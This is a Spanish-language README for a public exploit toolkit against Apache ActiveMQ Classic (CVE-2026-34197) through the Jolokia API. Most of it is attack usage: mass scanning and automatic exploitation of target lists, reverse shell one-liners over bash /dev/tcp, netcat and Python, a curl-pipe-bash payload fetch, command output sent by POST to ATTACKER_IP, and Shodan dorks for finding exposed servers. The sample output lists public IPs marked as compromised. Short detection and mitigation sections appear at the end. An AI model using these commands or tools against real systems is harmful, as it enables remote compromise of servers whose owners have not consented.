
Exploit para Apache ActiveMQ RCE a través de la API Jolokia (CVE-2026-34197) con captura de salida de comandos, escaneo masivo y auto-explotación.
Descripción general • Detalles • Flujo de ataque • Inicio rápido • Guía ATTACKER_IP • Uso • Captura de salida • Escáner • Búsqueda • Detección • Remediación
CVE-2026-34197 es una vulnerabilidad crítica de Ejecución Remota de Código (RCE) en Apache ActiveMQ Classic que permite a un atacante autenticado ejecutar comandos arbitrarios del sistema operativo a través de la API Jolokia expuesta en la consola web.
La vulnerabilidad ha existido durante más de 13 años y reside en la interacción entre Jolokia (puente HTTP-JMX), los MBeans de ActiveMQ, los conectores de red y el transporte VM.
[!CAUTION] Este es un primer PoC público desarrollado por KONDOR DEV SECURITY. Úselo únicamente en evaluaciones de seguridad autorizadas.
id, whoami, cat /etc/passwd) muestran automáticamente su salida en su terminalversion_check.py) — detección de versión multihilo + explotación dirigida| ID CVE | CVE-2026-34197 |
| Severidad | |
| Tipo | Ejecución Remota de Código (RCE) |
| CWE | CWE-20 (Validación de entrada incorrecta) / CWE-94 (Inyección de código) |
| Afectados | ActiveMQ Classic < 5.19.4 y 6.0.0 — 6.2.2 |
| Parcheado | 5.19.4 / 6.2.3 |
| Autenticación requerida | Sí (las credenciales predeterminadas admin:admin son comunes) |
| Sin autenticación necesaria | 6.0.0 — 6.1.1 (debido a CVE-2024-32114) |
| Puerto predeterminado | 8161 (consola web) |
CVE-2026-34197 — Exploitation Chain
──────────────────────────────────────────────────────────────
ATTACKER ACTIVEMQ SERVER ──────── ─────────────── │ │ [1] │── POST /api/jolokia/ ──────────────────>│ │ addNetworkConnector( │ │ vm://rce?brokerConfig= │ │ xbean:http://ATTACKER/payload.xml) │ │ │ │ [2] │── Creates VM broker │ │── Fetches remote XML │ │ [3] │<── GET /payload.xml ─────────────────────│ │── Serves malicious Spring XML ─────────>│ │ │ │ [4] │── Spring instantiates beans │ │── Runtime.exec(COMMAND) │ │── ** RCE ACHIEVED ** │ │ [5] │<── POST /output (command stdout) ────────│ (auto, for simple commands) │── Displays command output │ │ │
### Desglose paso a paso
| Paso | Acción | Componente |
|:----:|--------|-----------|
| **1** | El atacante envía un POST a `/api/jolokia/` invocando `addNetworkConnector` en el MBean del Broker | API de Jolokia |
| **2** | ActiveMQ procesa el URI de transporte `vm://` y crea un broker efímero con `brokerConfig` apuntando a una URL remota | Transporte VM |
| **3** | El esquema `xbean:` desencadena la descarga de un archivo de configuración XML de Spring desde el servidor del atacante | Spring / XBean |
| **4** | Spring instancia todos los beans en el XML, incluido uno que llama a `Runtime.getRuntime().exec()` | Contexto de Spring |
| **5** | Para comandos simples, la salida se captura y se envía de vuelta mediante un POST HTTP al listener del atacante (automático) | Captura de salida |
---
## Estructura del Proyecto```
CVE-2026-34197/
├── exploit.py # PoC exploit (single target + mass scan)
├── version_check.py # Scanner + Auto-Exploit (2-phase pipeline)
├── payloads/
│ └── template.xml # Spring XML payload template
├── targets.txt # Target URLs (one per line)
├── docker/
│ └── docker-compose.yml # Vulnerable lab environment
├── docs/
│ ├── HUNTING_GUIDE_EN.md # Target hunting guide (English)
│ └── HUNTING_GUIDE_ES.md # Guía de búsqueda (Español)
├── LICENSE
└── README.md
pip install requests
### Entorno de Laboratorio (Docker)```bash
cd docker
docker-compose up -d
# ActiveMQ Classic 5.18.6 (vulnerable) → localhost:8161
python exploit.py -t http://TARGET:8161 -l YOUR_IP -c "id"
python exploit.py -T targets.txt -l YOUR_IP -c "id"
### Scanner + Auto-Exploit (recomendado para objetivos masivos)```bash
# Scan only — detect versions, no exploitation
python version_check.py -T targets.txt
# Scan + auto-exploit vulnerable targets
python version_check.py -T targets.txt -l YOUR_IP -c "id"
ATTACKER_IP (-l / --lhost)El parámetro -l (o --lhost) es crítico para que el exploit funcione. Especifica la dirección IP donde tu máquina servirá el payload XML malicioso de Spring. El servidor ActiveMQ objetivo debe poder alcanzar esta IP a través de la red para descargar el payload.
ATTACKER_IP?Cuando el exploit se dispara, le dice a ActiveMQ: "Descarga tu configuración desde http://ATTACKER_IP:8888/payload.xml". ActiveMQ entonces realiza una solicitud HTTP saliente a tu máquina. Si no puede alcanzarte, el exploit falla silenciosamente.```
YOUR MACHINE TARGET (ActiveMQ)
──────────── ─────────────────
ATTACKER_IP:8888 ◄──── HTTP GET ──── "fetch xbean:http://ATTACKER_IP:8888/payload.xml"
(serves payload.xml) (downloads & executes)
### Cómo determinar tu `ATTACKER_IP`
| Escenario | Cómo encontrarla | Ejemplo |
|----------|---------------|---------|
| **Misma LAN** (laboratorio, pentest interno) | Tu IP local/privada | `ip a` → `192.168.1.50` |
| **VPN** (HTB, THM, red interna) | Tu IP del túnel VPN | `ip a show tun0` → `10.10.14.23` |
| **Objetivo remoto a través de Internet** | Tu IP pública | `curl ifconfig.me` → `203.0.113.42` |
| **VPS en la nube** (atacando desde un servidor) | La IP pública del VPS | Consulta el panel de tu proveedor de nube |```bash
# Linux — find your IPs
ip -4 addr show # All interfaces
ip addr show tun0 # VPN interface (HTB/THM)
ip addr show eth0 # Ethernet / cloud
curl -s ifconfig.me # Public IP
# Windows
ipconfig # All interfaces
(Invoke-WebRequest ifconfig.me).Content # Public IP (PowerShell)
# macOS
ifconfig en0 # Wi-Fi
ifconfig utun0 # VPN
curl -s ifconfig.me # Public IP
| Error | Por qué falla | Solución |
|---|---|---|
Usar 127.0.0.1 o localhost | El objetivo intenta descargar desde sí mismo, no desde ti | Usa tu IP de red real |
Usar una IP privada (192.168.x.x) para un objetivo en Internet | El objetivo no puede enrutar hacia tu red privada | Usa tu IP pública o un VPS |
Usar tu IP pública pero el puerto 8888 está bloqueado | El firewall/NAT descarta la conexión entrante desde el objetivo | Abre el puerto 8888 en el firewall/enrutador, o usa -lp con un puerto abierto |
Usar la IP de la interfaz incorrecta (p. ej., eth0 en lugar de tun0) | El objetivo no puede alcanzar ese segmento de red | Usa la interfaz que tenga una ruta hacia el objetivo |
Antes de ejecutar el exploit, confirma que el objetivo puede alcanzar tu listener:```bash
python3 -c "import http.server; http.server.HTTPServer(('0.0.0.0', 8888), http.server.SimpleHTTPRequestHandler).serve_forever()"
curl http://ATTACKER_IP:8888/
### Reenvío de puertos (escenarios NAT)
Si estás detrás de un router/NAT y atacando un objetivo expuesto a Internet:```bash
# Option A: Use a cloud VPS (recommended)
# Run the exploit from a VPS with a public IP — no NAT issues
# Option B: Port forward on your router
# Forward external port 8888 → your_local_ip:8888 (TCP)
# Then use your PUBLIC IP as ATTACKER_IP
# Option C: Use ngrok (quick & dirty)
ngrok http 8888
# Use the ngrok URL — but note: the exploit uses raw HTTP, not ngrok's URL format
# This option is NOT recommended for this exploit
sudo iptables -A INPUT -p tcp --dport 8888 -j ACCEPT
sudo ufw allow 8888/tcp
New-NetFirewallRule -DisplayName "CVE-2026-34197 Listener" -Direction Inbound -Protocol TCP -LocalPort 8888 -Action Allow
### Ejemplo de flujo de trabajo completo```bash
# Step 1: Identify your IP
$ ip addr show tun0
inet 10.10.14.23/23 ...
# Step 2: Verify the target is vulnerable
$ python version_check.py -T targets.txt
[+] http://10.129.45.67:8161 → 5.15.9 (admin) [VULNERABLE]
# Step 3: Run the exploit with YOUR correct IP
$ python exploit.py -t http://10.129.45.67:8161 -l 10.10.14.23 -c "id"
# Step 4: For a reverse shell — start listener FIRST
$ nc -lvnp 4444 # Terminal 1
$ python exploit.py -t http://10.129.45.67:8161 -l 10.10.14.23 \
-c "bash -i >& /dev/tcp/10.10.14.23/4444 0>&1" # Terminal 2
[!IMPORTANT] La
ATTACKER_IPen-ly dentro de los comandos de reverse shell (/dev/tcp/ATTACKER_IP/4444) debe ser la misma IP alcanzable. Si usas una IP diferente en el comando de reverse shell, el shell se conectará al lugar equivocado.
python exploit.py -t http://TARGET:8161 -l ATTACKER_IP -c "id"
python exploit.py -t http://TARGET:8161 -l ATTACKER_IP -c "whoami" -u admin -p secret
python exploit.py -t http://TARGET:8161 -l ATTACKER_IP -lp 9999 -c "cat /etc/passwd"
python exploit.py -t http://TARGET:8161 -l ATTACKER_IP -c "id" --no-auth
python exploit.py -t http://TARGET:8161 -l ATTACKER_IP -c "id" --broker-name mybroker
### Escaneo Masivo (Múltiples Objetivos)```bash
# Scan targets from file, save vulnerable ones
python exploit.py -T targets.txt -l ATTACKER_IP -c "id"
# Custom output file
python exploit.py -T targets.txt -l ATTACKER_IP -c "id" -o vulnerable_hosts.txt
# Mass scan with custom credentials and port
python exploit.py -T targets.txt -l ATTACKER_IP -lp 9999 -c "id" -u myuser -p mypass
The targets.txt file should contain one URL per line:```
http://10.0.0.1:8161
http://10.0.0.2:8161
https://10.0.0.3:8161
Características de escaneo masivo:
- **Auto-deduplicación** — las URLs duplicadas se eliminan automáticamente
- **Servidor HTTP único** — el servidor de payload se inicia una vez y se reutiliza para todos los objetivos
- **Respaldo de autenticación** — si las credenciales fallan (401), reintenta automáticamente sin autenticación (CVE-2024-32114)
- **Nombres de conectores aleatorios** — evita colisiones de registro JMX entre objetivos
- **Guardado incremental** — los objetivos vulnerables se guardan inmediatamente (seguro con Ctrl+C)
- **Soporte HTTPS** — funciona tanto con objetivos HTTP como HTTPS
### Reverse Shells
Las reverse shells y comandos con caracteres especiales (`>`, `&`, `|`, `;`, `$`, etc.) se **codifican automáticamente en base64** para evitar problemas de escape XML/shell.```bash
# Bash reverse shell
python exploit.py -t http://TARGET:8161 -l ATTACKER_IP \
-c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"
# Netcat reverse shell
python exploit.py -t http://TARGET:8161 -l ATTACKER_IP \
-c "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER_IP 4444 >/tmp/f"
# Python reverse shell
python exploit.py -t http://TARGET:8161 -l ATTACKER_IP \
-c "python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect((\"ATTACKER_IP\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"])'"
# Curl + bash (download & execute)
python exploit.py -t http://TARGET:8161 -l ATTACKER_IP \
-c "curl http://ATTACKER_IP/shell.sh | bash"
# Mass reverse shell scan
python exploit.py -T targets.txt -l ATTACKER_IP \
-c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"
Nota: Inicia tu listener antes de ejecutar el exploit:
nc -lvnp 4444
Tanto exploit.py como version_check.py pueden capturar y mostrar automáticamente la salida de comandos para comandos simples como id, whoami, cat /etc/passwd, hostname, etc.
Cuando ejecutas un comando simple, el exploit lo envuelve automáticamente para enviar stdout/stderr de vuelta a tu listener mediante HTTP POST:``` YOUR MACHINE (ATTACKER_IP:8888) TARGET (ActiveMQ) ─────────────────────────────── ─────────────────
(payload served) Executes wrapped command:
OUTPUT=$(id 2>&1)
curl -s -X POST http://ATTACKER:8888/output -d "$OUTPUT"
Displays: "uid=0(root) gid=0(root)..."
#### Ejemplo con salida```bash
$ python exploit.py -t http://10.129.45.67:8161 -l 10.10.14.23 -c "id"
[*] Target: http://10.129.45.67:8161
[*] Command: id
[*] Output: capture enabled (will POST back to listener)
[*] Broker: localhost
[*] Auth: admin
[*] Sending request to Jolokia...
[+] Jolokia accepted the operation (status=200)
[*] Waiting for the target to download the payload...
[+] Payload served to 10.129.45.67
[+] Target downloaded the payload. Command executed.
[*] Waiting for command output...
[+] Command output received:
──────────────────────────────────────────────────
uid=0(root) gid=0(root) groups=0(root)
──────────────────────────────────────────────────
| Tipo de comando | Ejemplo | Comportamiento |
|---|---|---|
| Comandos simples | id, whoami, cat /etc/passwd, ls -la, uname -a | La salida se captura y se muestra automáticamente |
| Reverse shells | bash -i >& /dev/tcp/..., nc ... -e /bin/sh, mkfifo... | Se detecta como interactivo — sin envoltura, funciona como antes |
| Comandos con curl/wget | curl http://..., wget http://... | Se detecta como interactivo — sin envoltura, para evitar interferencias |
La detección es automática. No necesitas pasar ninguna bandera adicional.
La captura de salida requiere curl o wget en el sistema objetivo. Si no hay ninguno disponible:
[!TIP] La mayoría de los sistemas Linux (y las imágenes Docker de ActiveMQ) tienen
curlpreinstalado. Si la captura de salida expira pero el RCE está confirmado, es probable que el objetivo carezca tanto decurlcomo dewget.
| Bandera | Descripción | Predeterminado |
|---|---|---|
-t, --target | URL de un solo objetivo | — |
-T, --targets-file | Archivo con URLs de objetivos (una por línea) | — |
-l, --lhost | IP del atacante para servir el payload | obligatorio |
-lp, --lport | Puerto del servidor HTTP local | 8888 |
-c, --command | Comando del sistema operativo a ejecutar | obligatorio |
-u, --user | Nombre de usuario de Jolokia | admin |
-p, --password | Contraseña de Jolokia | admin |
--no-auth | Omitir autenticación | false |
--broker-name | Anulación del nombre del broker | auto-detección |
-o, --output | Archivo de salida para objetivos vulnerables | vulnerables.txt |
--timeout-wait | Segundos de espera para la descarga del payload | 15 |
Nota:
-ty-Tson mutuamente excluyentes. Usa uno u otro.
version_check.py)La herramienta recomendada para múltiples objetivos. Un pipeline de 2 fases que primero detecta las versiones de ActiveMQ en todos los objetivos (rápido, con múltiples hilos) y luego explota automáticamente solo los vulnerables con verificación real de RCE mediante callback del payload.
version_check.py vs exploit.py| Escenario | Herramienta | Por qué |
|---|---|---|
| Tienes una lista de objetivos y quieres encontrar cuáles son vulnerables | version_check.py | Escanea versiones primero (rápido), luego explota solo los vulnerables |
| Quieres escanear sin explotar (solo reconocimiento) | version_check.py | Omite -l/-c para el modo solo escaneo |
| Tienes un objetivo único confirmado | exploit.py | Más simple, explotación directa |
| Quieres explotar un host específico ahora mismo | exploit.py | Sin sobrecarga de escaneo |
| Tienes 100+ objetivos de Shodan/LeakIX | version_check.py | La Fase 1 con múltiples hilos maneja listas grandes en segundos |
┌─────────────────────────────────────────────────────────┐ │ PHASE 1 — Version Detection (fast, multithreaded) │ │ │ │ targets.txt ──→ 10 threads query Jolokia in parallel │ │ GET .../BrokerVersion │ │ │ │ For each target: │ │ 1. Try auth (admin:admin) │ │ 2. If 401 → retry without auth (CVE-2024-32114) │ │ 3. If brokerName=localhost fails → try wildcard (*) │ │ 4. Extract: version, real broker name, working auth │ │ 5. Classify: [VULNERABLE] or [PATCHED] │ │ │ │ Output: list of vulnerable candidates with metadata │ └──────────────────────┬──────────────────────────────────┘ │ only vulnerable targets ▼ ┌─────────────────────────────────────────────────────────┐ │ PHASE 2 — RCE Verification (sequential, with callback) │ │ (only runs if -l and -c are provided) │ │ │ │ For each vulnerable target: │ │ 1. Generate Spring XML payload with command │ │ 2. Send addNetworkConnector via Jolokia │ │ 3. Wait for target to download payload (callback) │ │ 4. If callback received → RCE CONFIRMED │ │ │ │ Output: confirmados.txt with RCE-confirmed targets │ └─────────────────────────────────────────────────────────┘
### Lógica de clasificación de versiones
El escáner clasifica las versiones automáticamente según los rangos afectados:
| Versión | Clasificación |
|---------|---------------|
| `< 5.19.4` (p. ej., 5.15.9, 5.18.6) | `[VULNERABLE]` |
| `>= 5.19.4` (p. ej., 5.19.4, 5.20.0) | `[PARCHADO]` |
| `6.0.0` hasta `6.2.2` | `[VULNERABLE]` |
| `>= 6.2.3` | `[PARCHADO]` |
### Guía de uso paso a paso
#### Paso 1 — Prepare su archivo de objetivos
Cree un `targets.txt` con una URL por línea. Los duplicados se eliminan automáticamente.```
http://10.0.0.1:8161
http://10.0.0.2:8161
https://10.0.0.3:8161
http://192.168.1.100:8161
[!TIP] Usa las Guías de Caza para encontrar objetivos mediante Shodan, LeakIX, FOFA, Censys o Google Dorks.
Si solo quieres identificar qué objetivos son vulnerables sin explotarlos, omite -l y -c:```bash
python version_check.py -T targets.txt
Este ejecuta **solo la Fase 1**. No se inicia ningún servidor HTTP, no se envían payloads, no se ejecutan comandos. El archivo de salida contendrá información de versión para cada objetivo vulnerable:```
http://52.234.160.12:8161 | 5.15.9 | admin | broker=localhost
http://62.151.178.135:8161 | 5.15.2 | admin | broker=mybroker
Puedes aumentar la velocidad de escaneo con más hilos:```bash python version_check.py -T targets.txt --threads 20
#### Paso 3 — Escaneo + auto-explotación (pipeline completo)
Para escanear **y** explotar en una sola ejecución, añade `-l` (tu ATTACKER_IP) y `-c` (comando):```bash
python version_check.py -T targets.txt -l ATTACKER_IP -c "id"
Esto ejecuta ambas fases:
[VULNERABLES] (secuencial, con verificación de callback)[!IMPORTANT]
ATTACKER_IPdebe ser alcanzable desde los objetivos. El servidor ActiveMQ objetivo realizará una solicitud HTTP saliente ahttp://ATTACKER_IP:8888/payload.xml. Consulta la guía de ATTACKER_IP para obtener detalles sobre cómo elegir la IP correcta.
Los objetivos confirmados como vulnerables se guardan de forma incremental en el archivo de salida (por defecto: confirmados.txt):```
http://52.234.160.12:8161 | 5.15.9 | admin
El formato es: `URL | versión | método_de_autenticación`. Luego puedes usarlos individualmente con `exploit.py` para post-explotación adicional.
### Ejemplos de uso```bash
# Scan only — detect versions (no exploitation)
python version_check.py -T targets.txt
# Scan + auto-exploit — full pipeline
python version_check.py -T targets.txt -l ATTACKER_IP -c "id"
# Faster scan with 20 threads
python version_check.py -T targets.txt -l ATTACKER_IP -c "id" --threads 20
# Custom output, credentials, and port
python version_check.py -T targets.txt -l ATTACKER_IP -c "id" -o pwned.txt -u admin -p secret -lp 9999
# Reverse shell (auto base64-wrapped)
# IMPORTANT: start your netcat listener FIRST on port 4444 (in a separate terminal):
# nc -lvnp 4444
# The port in nc must match the port in /dev/tcp/.../4444
python version_check.py -T targets.txt -l ATTACKER_IP \
-c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"
# No-auth mode (for ActiveMQ 6.0.0 — 6.1.1)
python version_check.py -T targets.txt -l ATTACKER_IP -c "id" --no-auth
# Longer callback wait (slow networks)
python version_check.py -T targets.txt -l ATTACKER_IP -c "id" --wait 30
# Combine: fast threads + long wait + custom creds
python version_check.py -T targets.txt -l ATTACKER_IP -c "id" \
--threads 30 --wait 20 -u operator -p s3cret -lp 9999 -o results.txt
ATTACKER_IP en version_check.pyEl parámetro -l se comporta exactamente igual que en exploit.py, pero con una diferencia clave: el servidor HTTP se inicia una sola vez y se reutiliza en todos los objetivos de la Fase 2.```
YOUR MACHINE (ATTACKER_IP) TARGETS
────────────────────────── ───────
HTTP server on :8888 Target 1 (v5.15.9) ──→ GET /payload.xml ──→ YOUR_IP:8888
(started once, reused) Target 2 (v5.18.6) ──→ GET /payload.xml ──→ YOUR_IP:8888
Target 3 (v6.2.3) ──→ [PATCHED, skipped]
**La Fase 1 NO requiere `ATTACKER_IP`** — solo consulta a Jolokia para obtener información de la versión. Puedes ejecutar la Fase 1 por sí sola para hacer reconocimiento sin exponer tu IP.
**La Fase 2 requiere `ATTACKER_IP`** — los objetivos deben poder alcanzar tu servidor HTTP para descargar el payload. Si un objetivo no puede alcanzarte, se agotará el tiempo de espera (por defecto: 15s) y se marcará como "no se recibió callback" — pero esto no significa necesariamente que no sea vulnerable (los firewalls pueden bloquear el tráfico saliente).
### Parámetros
| Flag | Descripción | Por defecto |
|------|-------------|---------|
| `-T, --targets-file` | Archivo con las URLs de los objetivos (una por línea) | *obligatorio* |
| `-l, --lhost` | IP del atacante para el callback (habilita la Fase 2) | — |
| `-c, --command` | Comando a ejecutar (habilita la Fase 2) | — |
| `-lp, --lport` | Puerto del servidor HTTP local | `8888` |
| `-o, --output` | Archivo de salida para los objetivos confirmados | `confirmados.txt` |
| `-u, --user` | Nombre de usuario de Jolokia | `admin` |
| `-p, --password` | Contraseña de Jolokia | `admin` |
| `--no-auth` | Omitir autenticación | `false` |
| `--threads` | Hilos concurrentes para la Fase 1 | `10` |
| `--timeout` | Tiempo de espera por solicitud en la Fase 1 | `10s` |
| `--wait` | Segundos de espera para el callback en la Fase 2 | `15s` |
> **Nota:** Tanto `-l` como `-c` deben proporcionarse juntos para habilitar la Fase 2. Si falta alguno, solo se ejecuta la Fase 1 (escaneo).
### Características
- **Pipeline de 2 fases** — primero un escaneo rápido de versiones, luego explotación dirigida
- **Fase 1 con múltiples hilos** — escanea cientos de objetivos en segundos
- **Detección inteligente de brokers** — maneja respuestas con comodín `brokerName=*`, extrae el nombre real del broker de las claves MBean
- **Respaldo de autenticación** — si `admin:admin` falla (401), reintenta sin autenticación (CVE-2024-32114)
- **Nombres de conectores aleatorios** — evita colisiones JMX (`rce{random8}` único por objetivo)
- **Envoltura base64 automática** — las reverse shells y caracteres especiales funcionan sin configuración adicional
- **Guardado incremental** — los objetivos confirmados se guardan inmediatamente (seguro pulsar Ctrl+C a mitad del escaneo)
- **Modo solo escaneo** — omite `-l`/`-c` para solo detectar versiones sin explotar
- **Clasificación de versiones** — marca `[VULNERABLE]` / `[PARCHEADO]` según los rangos afectados
- **Servidor HTTP único** — se inicia una vez en la Fase 2 y se reutiliza para todos los objetivos (sin conflictos de puertos)
### Reverse shells con `version_check.py`
Al usar `version_check.py` para enviar una reverse shell, necesitas **dos cosas ejecutándose simultáneamente**:
1. Un **listener de netcat** en tu máquina esperando la conexión entrante de la shell
2. El comando **version_check.py** que escanea y explota los objetivos
El puerto del listener (`nc -lvnp PUERTO`) **debe coincidir** con el puerto dentro del comando de la reverse shell (`/dev/tcp/ATTACKER_IP/PUERTO`).```
YOUR MACHINE (ATTACKER_IP)
──────────────────────────
Terminal 1: nc -lvnp 4444 ◄── Listening for reverse shell on port 4444
Terminal 2: version_check.py ... ──► Scans targets, exploits vulnerable ones
└─ sends: bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
▲
TARGET (ActiveMQ) │
───────────────── │
Executes the command ──► bash connects back to ATTACKER_IP:4444 ────────────────┘
nc -lvnp 4444
python version_check.py -T targets.txt -l ATTACKER_IP
-c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"
#### Usar un puerto diferente
Puedes usar cualquier puerto que quieras, siempre que ambos lados coincidan:```bash
# Terminal 1: listener on port 9001
nc -lvnp 9001
# Terminal 2: reverse shell pointing to port 9001
python version_check.py -T targets.txt -l ATTACKER_IP \
-c "bash -i >& /dev/tcp/ATTACKER_IP/9001 0>&1"
python version_check.py -T targets.txt -l ATTACKER_IP
-c "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER_IP 4444 >/tmp/f"
python version_check.py -T targets.txt -l ATTACKER_IP
-c "python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'"
> [!WARNING]
> **Confusión de puertos a evitar:** El exploit utiliza **dos puertos diferentes** para dos propósitos distintos:
> - `-lp` (por defecto `8888`) — el puerto del servidor HTTP donde ActiveMQ descarga el payload XML. Esto lo maneja automáticamente el script.
> - El puerto dentro de `/dev/tcp/.../4444` — el puerto de callback de la reverse shell donde TÚ escuchas con `nc`. Esto es tu responsabilidad abrirlo.
>
> Estos son **independientes**. No los confundas. Necesitas `nc -lvnp 4444` para la shell, y el script maneja `:8888` internamente.
### Ejemplo de salida```
╔═══════════════════════════════════════════════════════════╗
║ CVE-2026-34197 — ActiveMQ Scanner + Auto-Exploit ║
║ Phase 1: Version Detection (fast, multithreaded) ║
║ Phase 2: RCE Verification (exploit + callback) ║
║ By: KONDOR DEV SECURITY — t.me/KONDORDEVSECURITY ║
╚═══════════════════════════════════════════════════════════╝
[*] 124 unique targets loaded
[*] Threads: 10 | Timeout: 10s
[*] Mode: SCAN + EXPLOIT (wait: 15s)
[*] Command: id
════════════════════════════════════════════════════════════
PHASE 1 — Version detection (multithreaded)
════════════════════════════════════════════════════════════
[+] [1/124] http://52.234.160.12:8161 → 5.15.9 (admin) [VULNERABLE]
[+] [2/124] http://62.151.178.135:8161 → 5.15.2 (admin) [VULNERABLE]
[+] [3/124] http://146.190.139.20:8161 → 5.15.6 (admin) [VULNERABLE]
[-] [4/124] http://167.172.150.143:8161 → 401
[-] [5/124] http://198.44.176.205:8161 → Connection refused
[*] Phase 1 complete: 3 with version, 3 vulnerable by version
════════════════════════════════════════════════════════════
PHASE 2 — Real exploit (3 candidates)
════════════════════════════════════════════════════════════
[+] HTTP server on 0.0.0.0:8888
[1/3] http://52.234.160.12:8161 (v5.15.9, broker=localhost)
[*] Sending exploit...
[+] Jolokia accepted (status=200)
[+] Payload downloaded by 52.234.160.12
[+] Command output:
──────────────────────────────────────────────
uid=0(root) gid=0(root) groups=0(root)
──────────────────────────────────────────────
[+] ✓ RCE CONFIRMED — http://52.234.160.12:8161 (v5.15.9)
[2/3] http://62.151.178.135:8161 (v5.15.2, broker=mybroker)
[*] Sending exploit...
[+] Jolokia accepted (status=200)
[*] No callback received within 15s
[3/3] http://146.190.139.20:8161 (v5.15.6, broker=localhost)
[*] Sending exploit...
[+] Jolokia accepted (status=200)
[+] Payload downloaded by 146.190.139.20
[+] Command output:
──────────────────────────────────────────────
uid=33(www-data) gid=33(www-data) groups=33(www-data)
──────────────────────────────────────────────
[+] ✓ RCE CONFIRMED — http://146.190.139.20:8161 (v5.15.6)
════════════════════════════════════════════════════════════
FINAL SUMMARY
════════════════════════════════════════════════════════════
[*] Total scanned: 124
[*] Version detected: 3
[*] Vulnerable by version: 3
[+] RCE CONFIRMED: 2
[+] Saved to: confirmed.txt
✓ http://52.234.160.12:8161 | v5.15.9 | admin
✓ http://146.190.139.20:8161 | v5.15.6 | admin
| Resultado de la Fase 2 | Qué significa | Siguiente paso |
|---|---|---|
RCE CONFIRMED + Command output: | El objetivo ejecutó el comando y envió la salida de vuelta | Éxito total: puedes ver la salida directamente |
RCE CONFIRMED (sin salida) | El objetivo descargó el payload pero no se recibió salida | RCE funciona, pero curl/wget pueden faltar en el objetivo; usa una reverse shell |
No callback received within Ns | El objetivo no alcanzó tu servidor HTTP a tiempo | Comprueba la accesibilidad de ATTACKER_IP, firewalls, o aumenta --wait |
Jolokia accepted (status=200) | Jolokia procesó la solicitud correctamente | Buena señal: espera el callback |
Jolokia status=500: ... | Jolokia devolvió un error | Puede funcionar igualmente (la descarga XML puede ocurrir a pesar del 500); revisa los logs |
HTTP 401 | Falló la autenticación para este objetivo | El objetivo necesita credenciales diferentes |
HTTP 403 | Jolokia está restringido | El objetivo tiene ACLs: no explotable con este método |
Connection refused / Timeout | El objetivo es inalcanzable | Problema de red o el objetivo está caído |
shodan search "ActiveMQ port:8161" --fields ip_str,port > raw_targets.txt
awk '{print "http://"$1}' raw_targets.txt > targets.txt
python version_check.py -T targets.txt --threads 20
python version_check.py -T targets.txt -l ATTACKER_IP -c "id"
nc -lvnp 4444 # Terminal 1
python exploit.py -t http://CONFIRMED_TARGET:8161 -l ATTACKER_IP
-c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1" # Terminal 2
---
## Caza y Reconocimiento
Guías detalladas para encontrar instancias expuestas de Apache ActiveMQ mediante **Shodan**, **LeakIX**, **FOFA**, **Censys**, **ZoomEye** y **Google Dorks** — incluyendo dorks específicos por versión, detección de Jolokia, uso de CLI/API, pasos de validación de objetivos, reglas SIEM/IDS y prioridades de remediación.
<table>
<tr>
<td align="center">
<a href="docs/HUNTING_GUIDE_EN.md"><img src="https://img.shields.io/badge/Hunting%20Guide-English%20%F0%9F%87%AC%F0%9F%87%A7-2196F3?style=for-the-badge" alt="English"/></a>
</td>
<td align="center">
<a href="docs/HUNTING_GUIDE_ES.md"><img src="https://img.shields.io/badge/Gu%C3%ADa%20de%20B%C3%BAsqueda-Espa%C3%B1ol%20%F0%9F%87%AA%F0%9F%87%B8-FF9800?style=for-the-badge" alt="Español"/></a>
</td>
</tr>
</table>
### Dorks rápidos de Shodan```
"ActiveMQ" port:8161 # All exposed consoles
http.title:"Apache ActiveMQ" # By page title
"ActiveMQ" http.html:"jolokia" port:8161 # Jolokia exposed (attack vector)
http.title:"Apache ActiveMQ" -http.html:"5.19.4" -http.html:"6.2.3" port:8161 # Exclude patched
+software:"Apache ActiveMQ" +port:"8161" # All exposed +banner:"jolokia" +banner:"ActiveMQ" # Jolokia exposed +software:"Apache ActiveMQ" +tag:"default-password" # Default creds
### Validación de Objetivos```bash
# Check version via Jolokia (single target)
curl -s -u admin:admin "http://TARGET:8161/api/jolokia/read/org.apache.activemq:type=Broker,brokerName=localhost/BrokerVersion"
# Mass version scan (recommended)
python version_check.py -T targets.txt
[!TIP] Consulta las guías completas en
docs/para dorks específicos de versión, filtros geográficos, ejemplos de API, reglas IDS y flujos de validación paso a paso.
INFO | Establishing network connection from vm://localhost to vm://rce*?create=true&brokerConfig=xbean:http://X.X.X.X:8888/payload.xml WARN | Could not connect to remote URI: vm://rce*?create=true&brokerConfig=xbean:http://X.X.X.X:8888/payload.xml
> **Nota:** La parte `rce*` contendrá caracteres aleatorios (p. ej., `rcek4m2x9ab`) ya que el exploit aleatoriza los nombres de los conectores.
### IOCs
| Indicador | Descripción |
|-----------|-------------|
| POST `/api/jolokia/` con `addNetworkConnector` | Intento de explotación |
| GET HTTP saliente desde el proceso de ActiveMQ | Descarga del XML del payload |
| POST HTTP saliente desde el proceso de ActiveMQ (exfiltración de salida de comandos) | Callback de captura de salida |
| URIs `vm://` con `brokerConfig=xbean:http` | Conector malicioso |
| Procesos hijos inesperados de Java/ActiveMQ (`curl`, `wget`, `bash`) | Ejecución de comandos / exfiltración de salida |
---
## Mitigación
| Prioridad | Acción |
|----------|--------|
| **P0** | Actualizar a ActiveMQ Classic **5.19.4** o **6.2.3** |
| **P1** | Cambiar las credenciales predeterminadas de la consola web |
| **P2** | Restringir el acceso de red al puerto **8161** |
| **P3** | Monitorear los logs del broker en busca de URIs `vm://` con patrones `xbean:http` |
---
## Solución de problemas
| Problema | Causa probable | Solución |
|---------|-------------|----------|
